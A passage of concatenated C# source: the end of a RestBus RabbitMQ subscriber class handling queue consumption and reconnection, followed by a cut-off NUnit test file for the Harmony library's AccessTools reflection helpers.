"messageMapper.ServerUris"); this.connectionFactory = new ConnectionFactory(); connectionFactory.Uri = messageMapper.ServerUris[0].Uri; ConnectionNames = messageMapper.ServerUris.Select(u => u.FriendlyName ?? String.Empty).ToArray(); connectionFactory.RequestedHeartbeat = Client.RPCStrategyHelpers.HEART_BEAT; this.Settings = settings ?? new SubscriberSettings(); //Make sure a default value is set, if not supplied by user. this.Settings.Subscriber = this; //Indicate that the subcriber settings is owned by this subscriber. } public string Id { get { return subscriberIdHeader[0]; } } public void Start() { if (!hasStarted.SetTrueIf(false)) { throw new InvalidOperationException("RestBus Subscriber has already started!"); } Restart(); } public SubscriberSettings Settings { get; } internal bool HasStarted { get { return hasStarted; } } public IList<string> ConnectionNames { get; private set; } public void Restart() { hasStarted.Set(true); //CLose connections and channels if (subscriberChannel != null) { if (subscriberConsumer != null) { try { subscriberChannel.Channel.BasicCancel(subscriberConsumer.ConsumerTag); } catch { } } try { subscriberChannel.Close(); } catch { } } if (workChannel != null) { if (workConsumer != null) { try { workChannel.Channel.BasicCancel(workConsumer.ConsumerTag); } catch { } } try { workChannel.Close(); } catch { } } if (_subscriberPool != null) { _subscriberPool.Dispose(); } //NOTE: CreateConnection() can throw BrokerUnreachableException //That's okay because the exception needs to propagate to Reconnect() or Start() var conn = connectionFactory.CreateConnection(); if (connectionBroken != null) connectionBroken.Dispose(); connectionBroken = new CancellationTokenSource(); if (stopWaitingOnQueue != null) stopWaitingOnQueue.Dispose(); stopWaitingOnQueue = CancellationTokenSource.CreateLinkedTokenSource(disposedCancellationSource.Token, connectionBroken.Token); var pool = new AmqpChannelPooler(conn); _subscriberPool = pool; //Use pool reference henceforth. //Create work channel and declare exchanges and queues workChannel = pool.GetModel(ChannelFlags.Consumer); //Redeclare exchanges and queues AmqpUtils.DeclareExchangeAndQueues(workChannel.Channel, messageMapper, messagingConfig, serviceName, exchangeDeclareSync, Id); //Listen on work queue workConsumer = new ConcurrentQueueingConsumer(workChannel.Channel, requestQueued); string workQueueName = AmqpUtils.GetWorkQueueName(messagingConfig, serviceName); workChannel.Channel.BasicQos(0, (ushort)Settings.PrefetchCount, false); workChannel.Channel.BasicConsume(workQueueName, Settings.AckBehavior == SubscriberAckBehavior.Automatic, workConsumer); //Listen on subscriber queue subscriberChannel = pool.GetModel(ChannelFlags.Consumer); subscriberConsumer = new ConcurrentQueueingConsumer(subscriberChannel.Channel, requestQueued); string subscriberWorkQueueName = AmqpUtils.GetSubscriberQueueName(serviceName, Id); subscriberChannel.Channel.BasicQos(0, (ushort)Settings.PrefetchCount, false); subscriberChannel.Channel.BasicConsume(subscriberWorkQueueName, Settings.AckBehavior == SubscriberAckBehavior.Automatic, subscriberConsumer); //Cancel connectionBroken on connection/consumer problems pool.Connection.ConnectionShutdown += (s, e) => { connectionBroken.Cancel(); }; workConsumer.ConsumerCancelled += (s, e) => { connectionBroken.Cancel(); }; subscriberConsumer.ConsumerCancelled += (s, e) => { connectionBroken.Cancel(); }; } //Will block until a request is received from either queue public MessageContext Dequeue() { if (disposed) throw new ObjectDisposedException(GetType().FullName); if(workConsumer == null || subscriberConsumer == null) throw new InvalidOperationException("Start the subscriber prior to calling Dequeue"); //TODO: Test what happens if either of these consumers are cancelled by the server, should consumer.Cancelled be handled? //In that scenario, requestQueued.Wait below should throw an exception and try to reconnect. HttpRequestPacket request; MessageDispatch dispatch; ConcurrentQueueingConsumer queue1 = null, queue2 = null; while (true) { if (disposed) throw new ObjectDisposedException(GetType().FullName); if (lastProcessedConsumerQueue == subscriberConsumer) { queue1 = workConsumer; queue2 = subscriberConsumer; } else { queue1 = subscriberConsumer; queue2 = workConsumer; } try { if (TryGetRequest(queue1, out request, out dispatch)) { lastProcessedConsumerQueue = queue1; break; } if (TryGetRequest(queue2, out request, out dispatch)) { lastProcessedConsumerQueue = queue2; break; } } catch (Exception e) { //TODO: Log this -- no exception is expected from the calls in the try block. throw; } try { requestQueued.Wait(stopWaitingOnQueue.Token); } catch (OperationCanceledException) { if (!disposed && connectionBroken.IsCancellationRequested) { //Connection broken or consumer has been cancelled but client is not disposed //So reconnect Reconnect(); } else { throw; } } requestQueued.Reset(); } return new MessageContext { Request = request, ReplyToQueue = dispatch.Delivery.BasicProperties == null ? null : dispatch.Delivery.BasicProperties.ReplyTo, CorrelationId = dispatch.Delivery.BasicProperties.CorrelationId, Dispatch = dispatch }; } private bool TryGetRequest(ConcurrentQueueingConsumer consumer, out HttpRequestPacket request, out MessageDispatch dispatch) { request = null; dispatch = null; BasicDeliverEventArgs item; if (!consumer.TryInstantDequeue(out item, throwIfClosed: false)) { return false; } //TODO: Pool MessageDispatch //Get message dispatch = new MessageDispatch { Consumer = consumer, Delivery = item }; //Deserialize message bool wasDeserialized = true; try { request = HttpRequestPacket.Deserialize(item.Body); } catch { wasDeserialized = false; } if (wasDeserialized) { //Add/Update Subscriber-Id header request.Headers[Common.Shared.SUBSCRIBER_ID_HEADER] = this.subscriberIdHeader; //Add redelivered header if item was redelivered. if (item.Redelivered) { request.Headers[Common.Shared.REDELIVERED_HEADER] = TRUE_STRING_ARRAY; } } //Reject message if deserialization failed. else if (!wasDeserialized && Settings.AckBehavior != SubscriberAckBehavior.Automatic ) { consumer.Model.BasicReject(item.DeliveryTag, false); return false; } return true; } public void Dispose() { disposed = true; disposedCancellationSource.Cancel(); if (workChannel != null) { if (workConsumer != null) { try { workChannel.Channel.BasicCancel(workConsumer.ConsumerTag); } catch { } } workChannel.Close(); } if (subscriberChannel != null) { if (subscriberConsumer != null) { try { subscriberChannel.Channel.BasicCancel(subscriberConsumer.ConsumerTag); } catch { } } subscriberChannel.Close(); } if (_subscriberPool != null) { _subscriberPool.Dispose(); } requestQueued.Dispose(); disposedCancellationSource.Dispose(); if (stopWaitingOnQueue != null) stopWaitingOnQueue.Dispose(); if (connectionBroken != null) connectionBroken.Dispose(); } private void Reconnect() { //Loop until a connection is made bool successfulRestart = false; while (true) { try { Restart(); successfulRestart = true; } catch { } if (disposed) throw new ObjectDisposedException(GetType().FullName); if (successfulRestart) break; Thread.Sleep(1); } } public void SendResponse(MessageContext context, HttpResponsePacket response ) { if (disposed) throw new ObjectDisposedException(GetType().FullName); var dispatch = context.Dispatch as MessageDispatch; if (dispatch != null) { //Ack request if(Settings.AckBehavior != SubscriberAckBehavior.Automatic && dispatch.Consumer.Model.IsOpen) { dispatch.Consumer.Model.BasicAck(dispatch.Delivery.DeliveryTag, false); //NOTE: The call above takes place in different threads silmultaneously //In which case multiple threads will be using the same channel at the same time. //It's okay in this case, because transmissions within a channel are synchronized, as seen in: //https://github.com/rabbitmq/rabbitmq-dotnet-client/blob/f16c093f6409e11d9d77115038cb224eb39468ec/projects/client/RabbitMQ.Client/src/client/impl/ModelBase.cs#L459 //and //https://github.com/rabbitmq/rabbitmq-dotnet-client/blob/f16c093f6409e11d9d77115038cb224eb39468ec/projects/client/RabbitMQ.Client/src/client/impl/SessionBase.cs#L177 } } //Exit method if no replyToQueue was specified. if (String.IsNullOrEmpty(context.ReplyToQueue)) return; if (_subscriberPool.Connection == null) { //TODO: Log this -- it technically shouldn't happen. Also translate to a HTTP Unreachable because it means StartCallbackQueueConsumer didn't create a connection throw new ApplicationException("This is Bad"); } //Add/Update Subscriber-Id header response.Headers[Common.Shared.SUBSCRIBER_ID_HEADER] = subscriberIdHeader; //Send response var pooler = _subscriberPool; AmqpModelContainer model = null; try { model = pooler.GetModel(ChannelFlags.None); BasicProperties basicProperties = new BasicProperties { CorrelationId = context.CorrelationId }; model.Channel.BasicPublish(String.Empty, context.ReplyToQueue, basicProperties, response.Serialize()); } finally { if(model != null) { model.Close(); } } } } }
using HarmonyLib; using HarmonyLibTests.Assets; using NUnit.Framework; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Reflection; using System.Reflection.Emit; using static HarmonyLibTests.Assets.AccessToolsMethodDelegate; namespace HarmonyLibTests.Tools { [TestFixture] public class Test_AccessTools : TestLogger { [OneTimeSetUp] public void CreateAndUnloadTestDummyAssemblies() { TestTools.RunInIsolationContext(CreateTestDummyAssemblies); } // Comment out following attribute if you want to keep the dummy assembly files after the test runs. [OneTimeTearDown] public void DeleteTestDummyAssemblies() { foreach (var dummyAssemblyFileName in Directory.GetFiles(AppDomain.CurrentDomain.BaseDirectory, "HarmonyTestsDummyAssembly*")) { try { File.Delete(dummyAssemblyFileName); } catch (Exception ex) { Console.Error.WriteLine($"Could not delete {dummyAssemblyFileName} during {nameof(DeleteTestDummyAssemblies)} due to {ex}"); } } } static void CreateTestDummyAssemblies(ITestIsolationContext context) { var dummyAssemblyA = DefineAssembly("HarmonyTestsDummyAssemblyA", moduleBuilder => moduleBuilder.DefineType("HarmonyTestsDummyAssemblyA.Class1", TypeAttributes.Public)); // Explicitly NOT saving HarmonyTestsDummyAssemblyA. var dummyAssemblyB = DefineAssembly("HarmonyTestsDummyAssemblyB", moduleBuilder => moduleBuilder.DefineType("HarmonyTestsDummyAssemblyB.Class1", TypeAttributes.Public, parent: dummyAssemblyA.GetType("HarmonyTestsDummyAssemblyA.Class1")), moduleBuilder => moduleBuilder.DefineType("HarmonyTestsDummyAssemblyB.Class2", TypeAttributes.Public)); // HarmonyTestsDummyAssemblyB, if loaded, becomes an invalid assembly due to missing HarmonyTestsDummyAssemblyA. SaveAssembly(dummyAssemblyB); // HarmonyTestsDummyAssemblyC is just another (valid) assembly to be loaded after HarmonyTestsDummyAssemblyB. var dummyAssemblyC = DefineAssembly("HarmonyTestsDummyAssemblyC", moduleBuilder => moduleBuilder.DefineType("HarmonyTestsDummyAssemblyC.Class1", TypeAttributes.Public)); SaveAssembly(dummyAssemblyC); } static AssemblyBuilder DefineAssembly(string assemblyName, params Func<ModuleBuilder, TypeBuilder>[] defineTypeFuncs) { #if NETCOREAPP var assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(new AssemblyName(assemblyName), AssemblyBuilderAccess.RunAndCollect); var moduleBuilder = assemblyBuilder.DefineDynamicModule("module"); #else var assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName(assemblyName), AssemblyBuilderAccess.Save, AppDomain.CurrentDomain.BaseDirectory); var moduleBuilder = assemblyBuilder.DefineDynamicModule("module", assemblyName + ".dll"); #endif foreach (var defineTypeFunc in defineTypeFuncs) _ = defineTypeFunc(moduleBuilder)?.CreateType(); return assemblyBuilder; } static void SaveAssembly(AssemblyBuilder assemblyBuilder) { var assemblyFileName = assemblyBuilder.GetName().Name + ".dll"; #if NETCOREAPP // For some reason, ILPack requires referenced dynamic assemblies to be passed in rather than looking them up itself. var currentAssemblies = AppDomain.CurrentDomain.GetAssemblies(); var referencedDynamicAssemblies = assemblyBuilder.GetReferencedAssemblies() .Select(referencedAssemblyName => currentAssemblies.FirstOrDefault(assembly => assembly.FullName == referencedAssemblyName.FullName)) .Where(referencedAssembly => referencedAssembly is object && referencedAssembly.IsDynamic) .ToArray(); // ILPack currently has an issue where the dynamic assembly has an assembly reference to the runtime assembly (System.Private.CoreLib) // rather than reference assembly (System.Runtime). This causes issues for decompilers, but is fine for loading via Assembly.Load et all, // since the .NET Core runtime assemblies are definitely already accessible and loaded. new Lokad.ILPack.AssemblyGenerator().GenerateAssembly(assemblyBuilder, referencedDynamicAssemblies, Path.Combine(AppDomain.CurrentDomain.BaseDirectory, assemblyFileName)); #else assemblyBuilder.Save(assemblyFileName); #endif } [Test, NonParallelizable] public void Test_AccessTools_TypeByName_CurrentAssemblies() { Assert.NotNull(AccessTools.TypeByName(typeof(Harmony).FullName)); Assert.NotNull(AccessTools.TypeByName(typeof(Test_AccessTools).FullName)); Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyA.Class1")); Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyB.Class1")); Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyB.Class2")); Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyC.Class1")); Assert.Null(AccessTools.TypeByName("IAmALittleTeaPot.ShortAndStout")); } [Test, NonParallelizable] public void Test_AccessTools_TypeByName_InvalidAssembly() { TestTools.RunInIsolationContext(TestTypeByNameWithInvalidAssembly); // Sanity check that TypeByName works as if the test dummy assemblies never existed. Test_AccessTools_TypeByName_CurrentAssemblies(); } [Test, NonParallelizable] public void Test_AccessTools_TypeByName_NoInvalidAssembly() { TestTools.RunInIsolationContext(TestTypeByNameWithNoInvalidAssembly); // Sanity check that TypeByName works as if the test dummy assemblies never existed. Test_AccessTools_TypeByName_CurrentAssemblies(); } static void TestTypeByNameWithInvalidAssembly(ITestIsolationContext context) { // HarmonyTestsDummyAssemblyB has a dependency on HarmonyTestsDummyAssemblyA, but we've ensured that // HarmonyTestsDummyAssemblyA.dll is NOT available (i.e. not in HarmonyTests output dir). context.AssemblyLoad("HarmonyTestsDummyAssemblyB"); context.AssemblyLoad("HarmonyTestsDummyAssemblyC"); // Even if 0Harmony.dll isn't loaded yet and thus would be automatically loaded after the invalid assemblies, // TypeByName tries Type.GetType first, which always works for a type in the executing assembly (0Harmony.dll). Assert.NotNull(AccessTools.TypeByName(typeof(Harmony).FullName)); // The current executing assembly (HarmonyTests.dll) was definitely already loaded before above loads. Assert.NotNull(AccessTools.TypeByName(typeof(Test_AccessTools).FullName)); // HarmonyTestsDummyAssemblyA is explicitly missing, so it's the same as the unknown type case - see below. Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyA.Class1")); // HarmonyTestsDummyAssemblyB.GetTypes() should throw ReflectionTypeLoadException due to missing HarmonyTestsDummyAssemblyA, // but this is caught and returns successfully loaded types. // HarmonyTestsDummyAssemblyB.Class1 depends on HarmonyTestsDummyAssemblyA, so it's not loaded successfully. Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyB.Class1")); // HarmonyTestsDummyAssemblyB.Class2 doesn't depend on HarmonyTestsDummyAssemblyA, so it's loaded successfully. Assert.NotNull(AccessTools.TypeByName("HarmonyTestsDummyAssemblyB.Class2")); // TypeByName's search should find HarmonyTestsDummyAssemblyB before HarmonyTestsDummyAssemblyC, but this is fine. Assert.NotNull(AccessTools.TypeByName("HarmonyTestsDummyAssemblyC.Class1")); // TypeByName's search for an unknown type should always find HarmonyTestsDummyAssemblyB first, which is again fine. Assert.Null(AccessTools.TypeByName("IAmALittleTeaPot.ShortAndStout")); } static void TestTypeByNameWithNoInvalidAssembly(ITestIsolationContext context) { context.AssemblyLoad("HarmonyTestsDummyAssemblyC"); Assert.NotNull(AccessTools.TypeByName(typeof(Harmony).FullName)); Assert.NotNull(AccessTools.TypeByName(typeof(Test_AccessTools).FullName)); Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyA.Class1")); Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyB.Class1")); Assert.Null(AccessTools.TypeByName("HarmonyTestsDummyAssemblyB.Class2")); Assert.NotNull(AccessTools.TypeByName("HarmonyTestsDummyAssemblyC.Class1")); Assert.Null(AccessTools.TypeByName("IAmALittleTeaPot.ShortAndStout")); } [Test] public void Test_AccessTools_Field1() { var type = typeof(AccessToolsClass); Assert.Null(AccessTools.DeclaredField(null, null)); Assert.Null(AccessTools.DeclaredField(type, null)); Assert.Null(AccessTools.DeclaredField(null, "field1")); Assert.Null(AccessTools.DeclaredField(type, "unknown")); var field = AccessTools.DeclaredField(type, "field1"); Assert.NotNull(field); Assert.AreEqual(type, field.DeclaringType); Assert.AreEqual("field1", field.Name); } [Test] public void Test_AccessTools_Field2() { var classType = typeof(AccessToolsClass); Assert.NotNull(AccessTools.Field(classType, "field1")); Assert.NotNull(AccessTools.DeclaredField(classType, "field1")); Assert.Null(AccessTools.Field(classType, "unknown")); Assert.Null(AccessTools.DeclaredField(classType, "unknown")); var subclassType = typeof(AccessToolsSubClass); Assert.NotNull(AccessTools.Field(subclassType, "field1")); Assert.Null(AccessTools.DeclaredField(subclassType, "field1")); Assert.Null(AccessTools.Field(subclassType, "unknown")); Assert.Null(AccessTools.DeclaredField(subclassType, "unknown")); var structType = typeof(AccessToolsStruct); Assert.NotNull(AccessTools.Field(structType, "structField1")); Assert.NotNull(AccessTools.DeclaredField(structType, "structField1")); Assert.Null(AccessTools.Field(structType, "unknown")); Assert.Null(AccessTools.DeclaredField(structType, "unknown")); var interfaceType = typeof(IAccessToolsType); Assert.Null(AccessTools.Field(interfaceType, "unknown")); Assert.Null(AccessTools.DeclaredField(interfaceType, "unknown")); } [Test] public void Test_AccessTools_Property1() { var type = typeof(AccessToolsClass); Assert.Null(AccessTools.Property(null, null)); Assert.Null(AccessTools.Property(type, null)); Assert.Null(AccessTools.Property(null, "Property1")); Assert.Null(AccessTools.Property(type, "unknown")); var prop = AccessTools.Property(type, "Property1"); Assert.NotNull(prop); Assert.AreEqual(type, prop.DeclaringType); Assert.AreEqual("Property1", prop.Name); } [Test] public void Test_AccessTools_Property2() { var classType = typeof(AccessToolsClass); Assert.NotNull(AccessTools.Property(classType, "Property1")); Assert.NotNull(AccessTools.DeclaredProperty(classType, "Property1")); Assert.Null(AccessTools.Property(classType, "unknown")); Assert.Null(AccessTools.DeclaredProperty(classType, "unknown")); var subclassType = typeof(AccessToolsSubClass); Assert.NotNull(AccessTools.Property(subclassType, "Property1")); Assert.Null(AccessTools.DeclaredProperty(subclassType, "Property1")); Assert.Null(AccessTools.Property(subclassType, "unknown")); Assert.Null(AccessTools.DeclaredProperty(subclassType, "unknown")); var structType = typeof(AccessToolsStruct); Assert.NotNull(AccessTools.Property(structType, "Property1")); Assert.NotNull(AccessTools.DeclaredProperty(structType, "Property1")); Assert.Null(AccessTools.Property(structType, "unknown")); Assert.Null(AccessTools.DeclaredProperty(structType, "unknown")); var interfaceType = typeof(IAccessToolsType); Assert.NotNull(AccessTools.Property(interfaceType, "Property1")); Assert.NotNull(AccessTools.DeclaredProperty(interfaceType, "Property1")); Assert.Null(AccessTools.Property(interfaceType, "unknown")); Assert.Null(AccessTools.DeclaredProperty(interfaceType, "unknown")); } [Test] public void Test_AccessTools_PropertyIndexer() { var classType = typeof(AccessToolsClass); Assert.NotNull(AccessTools.Property(classType, "Item")); Assert.NotNull(AccessTools.DeclaredProperty(classType, "Item")); var subclassType = typeof(AccessToolsSubClass); Assert.NotNull(AccessTools.Property(subclassType, "Item")); Assert.Null(AccessTools.DeclaredProperty(subclassType, "Item")); var structType = typeof(AccessToolsStruct); Assert.NotNull(AccessTools.Property(structType, "Item")); Assert.NotNull(AccessTools.DeclaredProperty(structType, "Item")); var interfaceType = typeof(IAccessToolsType); Assert.NotNull(AccessTools.Property(interfaceType, "Item")); Assert.NotNull(AccessTools.DeclaredProperty(interfaceType, "Item")); } [Test] public void Test_AccessTools_Method1() { var type = typeof(AccessToolsClass); Assert.Null(AccessTools.Method(null)); Assert.Null(AccessTools.Method(type, null)); Assert.Null(AccessTools.Method(null, "Method1")); Assert.Null(AccessTools.Method(type, "unknown")); var m1 = AccessTools.Method(type, "Method1"); Assert.NotNull(m1); Assert.AreEqual(type, m1.DeclaringType); Assert.AreEqual("Method1", m1.Name); var m2 = AccessTools.Method("HarmonyLibTests.Assets.AccessToolsClass:Method1"); Assert.NotNull(m2); Assert.AreEqual(type, m2.DeclaringType); Assert.AreEqual("Method1", m2.Name); var m3 = AccessTools.Method(type, "Method1", new Type[] { }); Assert.NotNull(m3); var m4 = AccessTools.Method(type, "SetField", new Type[] { typeof(string) }); Assert.NotNull(m4); } [Test] public void Test_AccessTools_Method2() { var classType = typeof(AccessToolsClass); Assert.NotNull(AccessTools.Method(classType, "Method1")); Assert.NotNull(AccessTools.DeclaredMethod(classType, "Method1")); Assert.Null(AccessTools.Method(classType, "unknown")); Assert.Null(AccessTools.DeclaredMethod(classType, "unknown")); var subclassType = typeof(AccessToolsSubClass); Assert.NotNull(AccessTools.Method(subclassType, "Method1")); Assert.Null(AccessTools.DeclaredMethod(subclassType, "Method1")); Assert.Null(AccessTools.Method(subclassType, "unknown")); Assert.Null(AccessTools.DeclaredMethod(subclassType, "unknown")); var structType = typeof(AccessToolsStruct); Assert.NotNull(AccessTools.Method(structType, "Method1")); Assert.NotNull(AccessTools.DeclaredMethod(structType, "Method1")); Assert.Null(AccessTools.Method(structType, "unknown")); Assert.Null(AccessTools.DeclaredMethod(structType, "unknown")); var interfaceType = typeof(IAccessToolsType); Assert.NotNull(AccessTools.Method(interfaceType, "Method1")); Assert.NotNull(AccessTools.DeclaredMethod(interfaceType, "Method1")); Assert.Null(AccessTools.Method(interfaceType, "unknown")); Assert.Null(AccessTools.DeclaredMethod(interfaceType, "unknown")); } [Test] public void Test_AccessTools_InnerClass() { var type = typeof(AccessToolsClass); Assert.Null(AccessTools.Inner(null, null)); Assert.Null(AccessTools.Inner(type, null)); Assert.Null(AccessTools.Inner(null, "Inner")); Assert.Null(AccessTools.Inner(type, "unknown")); var cls = AccessTools.Inner(type, "Inner"); Assert.NotNull(cls); Assert.AreEqual(type, cls.DeclaringType); Assert.AreEqual("Inner", cls.Name); } [Test] public void Test_AccessTools_GetTypes() { var empty = AccessTools.GetTypes(null); Assert.NotNull(empty); Assert.AreEqual(0, empty.Length); // TODO: typeof(null) is ambiguous and resolves for now to <object>. is this a problem? var types = AccessTools.GetTypes(new object[] { "hi", 123, null, new Test_AccessTools() }); Assert.NotNull(types); Assert.AreEqual(4, types.Length); Assert.AreEqual(typeof(string), types[0]); Assert.AreEqual(typeof(int), types[1]); Assert.AreEqual(typeof(object), types[2]); Assert.AreEqual(typeof(Test_AccessTools), types[3]); } [Test] public void Test_AccessTools_GetDefaultValue() { Assert.AreEqual(null, AccessTools.GetDefaultValue(null)); Assert.AreEqual((float)0, AccessTools.GetDefaultValue(typeof(float))); Assert.AreEqual(null, AccessTools.GetDefaultValue(typeof(string))); Assert.AreEqual(BindingFlags.Default, AccessTools.GetDefaultValue(typeof(BindingFlags))); Assert.AreEqual(null, AccessTools.GetDefaultValue(typeof(IEnumerable<bool>))); Assert.AreEqual(null, AccessTools.GetDefaultValue(typeof(void))); } [Test] public void Test_AccessTools_CreateInstance() { Assert.IsTrue(AccessTools.CreateInstance<AccessToolsCreateInstance.NoConstructor>().constructorCalled); Assert.IsFalse(AccessTools.CreateInstance<AccessToolsCreateInstance.OnlyNonParameterlessConstructor>().constructorCalled); Assert.IsTrue(AccessTools.CreateInstance<AccessToolsCreateInstance.PublicParameterlessConstructor>().constructorCalled); Assert.IsTrue(AccessTools.CreateInstance<AccessToolsCreateInstance.InternalParameterlessConstructor>().constructorCalled); var instruction = AccessTools.CreateInstance<CodeInstruction>(); Assert.NotNull(instruction.labels); Assert.NotNull(instruction.blocks); } [Test] public void Test_AccessTools_TypeExtension_Description() { var types = new Type[] { typeof(string), typeof(int), null, typeof(void), typeof(Test_AccessTools) }; Assert.AreEqual("(System.String, System.Int32, null, System.Void, HarmonyLibTests.Tools.Test_AccessTools)", types.Description()); } [Test] public void Test_AccessTools_TypeExtension_Types() { // public static void Resize<T>(ref T[] array, int newSize); var method = typeof(Array).GetMethod("Resize"); var pinfo = method.GetParameters(); var types = pinfo.Types(); Assert.NotNull(types); Assert.AreEqual(2, types.Length); Assert.AreEqual(pinfo[0].ParameterType, types[0]); Assert.AreEqual(pinfo[1].ParameterType, types[1]); } static readonly MethodInfo interfaceTest = typeof(IInterface).GetMethod("Test"); static readonly MethodInfo baseTest = typeof(Base).GetMethod("Test"); static readonly MethodInfo derivedTest = typeof(Derived).GetMethod("Test"); static readonly MethodInfo structTest = typeof(Struct).GetMethod("Test"); static readonly MethodInfo staticTest = typeof(AccessToolsMethodDelegate).GetMethod("Test"); [Test] public void Test_AccessTools_MethodDelegate_ClosedInstanceDelegates() { var f = 789f; var baseInstance = new Base(); var derivedInstance = new Derived(); var structInstance = new Struct(); Assert.AreEqual("base test 456 790 1", AccessTools.MethodDelegate<MethodDel>(baseTest, baseInstance, virtualCall: true)(456, ref f)); Assert.AreEqual("base test 456 791 2", AccessTools.MethodDelegate<MethodDel>(baseTest, baseInstance, virtualCall: false)(456, ref f)); Assert.AreEqual("derived test 456 792 1", AccessTools.MethodDelegate<MethodDel>(baseTest, derivedInstance, virtualCall: true)(456, ref f)); Assert.AreEqual("base test 456 793 2", AccessTools.MethodDelegate<MethodDel>(baseTest, derivedInstance, virtualCall: false)(456, ref f)); // derivedTest => baseTest automatically for virtual calls Assert.AreEqual("base test 456 794 3", AccessTools.MethodDelegate<MethodDel>(derivedTest, baseInstance, virtualCall: true)(456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<MethodDel>(derivedTest, baseInstance, virtualCall: false)(456, ref f)); Assert.AreEqual("derived test 456 795 3", AccessTools.MethodDelegate<MethodDel>(derivedTest, derivedInstance, virtualCall: true)(456, ref f)); Assert.AreEqual("derived test 456 796 4", AccessTools.MethodDelegate<MethodDel>(derivedTest, derivedInstance, virtualCall: false)(456, ref f)); Assert.AreEqual("struct result 456 797 1", AccessTools.MethodDelegate<MethodDel>(structTest, structInstance, virtualCall: true)(456, ref f)); Assert.AreEqual("struct result 456 798 1", AccessTools.MethodDelegate<MethodDel>(structTest, structInstance, virtualCall: false)(456, ref f)); } [Test] public void Test_AccessTools_MethodDelegate_ClosedInstanceDelegates_InterfaceMethod() { var f = 789f; var baseInstance = new Base(); var derivedInstance = new Derived(); var structInstance = new Struct(); Assert.AreEqual("base test 456 790 1", AccessTools.MethodDelegate<MethodDel>(interfaceTest, baseInstance, virtualCall: true)(456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<MethodDel>(interfaceTest, baseInstance, virtualCall: false)(456, ref f)); Assert.AreEqual("derived test 456 791 1", AccessTools.MethodDelegate<MethodDel>(interfaceTest, derivedInstance, virtualCall: true)(456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<MethodDel>(interfaceTest, derivedInstance, virtualCall: false)(456, ref f)); Assert.AreEqual("struct result 456 792 1", AccessTools.MethodDelegate<MethodDel>(interfaceTest, structInstance, virtualCall: true)(456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<MethodDel>(interfaceTest, structInstance, virtualCall: false)(456, ref f)); } [Test] public void Test_AccessTools_MethodDelegate_OpenInstanceDelegates() { var f = 789f; var baseInstance = new Base(); var derivedInstance = new Derived(); var structInstance = new Struct(); Assert.AreEqual("base test 456 790 1", AccessTools.MethodDelegate<OpenMethodDel<Base>>(baseTest, virtualCall: true)(baseInstance, 456, ref f)); Assert.AreEqual("base test 456 791 2", AccessTools.MethodDelegate<OpenMethodDel<Base>>(baseTest, virtualCall: false)(baseInstance, 456, ref f)); Assert.AreEqual("derived test 456 792 1", AccessTools.MethodDelegate<OpenMethodDel<Base>>(baseTest, virtualCall: true)(derivedInstance, 456, ref f)); Assert.AreEqual("base test 456 793 2", AccessTools.MethodDelegate<OpenMethodDel<Base>>(baseTest, virtualCall: false)(derivedInstance, 456, ref f)); // derivedTest => baseTest automatically for virtual calls Assert.AreEqual("base test 456 794 3", AccessTools.MethodDelegate<OpenMethodDel<Base>>(derivedTest, virtualCall: true)(baseInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<Base>>(derivedTest, virtualCall: false)(baseInstance, 456, ref f)); Assert.AreEqual("derived test 456 795 3", AccessTools.MethodDelegate<OpenMethodDel<Base>>(derivedTest, virtualCall: true)(derivedInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<Base>>(derivedTest, virtualCall: false)(derivedInstance, 456, ref f)); // AccessTools.MethodDelegate<OpenMethodDel<Derived>>(derivedTest)(baseInstance, 456, ref f); // expected compile error // AccessTools.MethodDelegate<OpenMethodDel<Derived>>(derivedTest, virtualCall: false)(baseInstance, 456, ref f); // expected compile error Assert.AreEqual("derived test 456 796 4", AccessTools.MethodDelegate<OpenMethodDel<Derived>>(derivedTest, virtualCall: true)(derivedInstance, 456, ref f)); Assert.AreEqual("derived test 456 797 5", AccessTools.MethodDelegate<OpenMethodDel<Derived>>(derivedTest, virtualCall: false)(derivedInstance, 456, ref f)); Assert.AreEqual("struct result 456 798 1", AccessTools.MethodDelegate<OpenMethodDel<Struct>>(structTest, virtualCall: true)(structInstance, 456, ref f)); Assert.AreEqual("struct result 456 799 1", AccessTools.MethodDelegate<OpenMethodDel<Struct>>(structTest, virtualCall: false)(structInstance, 456, ref f)); } [Test] public void Test_AccessTools_MethodDelegate_OpenInstanceDelegates_DelegateInterfaceInstanceType() { var f = 789f; var baseInstance = new Base(); var derivedInstance = new Derived(); var structInstance = new Struct(); Assert.AreEqual("base test 456 790 1", AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(baseTest, virtualCall: true)(baseInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(baseTest, virtualCall: false)(baseInstance, 456, ref f)); Assert.AreEqual("derived test 456 791 1", AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(baseTest, virtualCall: true)(derivedInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(baseTest, virtualCall: false)(derivedInstance, 456, ref f)); Assert.AreEqual("base test 456 792 2", AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(derivedTest, virtualCall: true)(baseInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(derivedTest, virtualCall: false)(baseInstance, 456, ref f)); Assert.AreEqual("derived test 456 793 2", 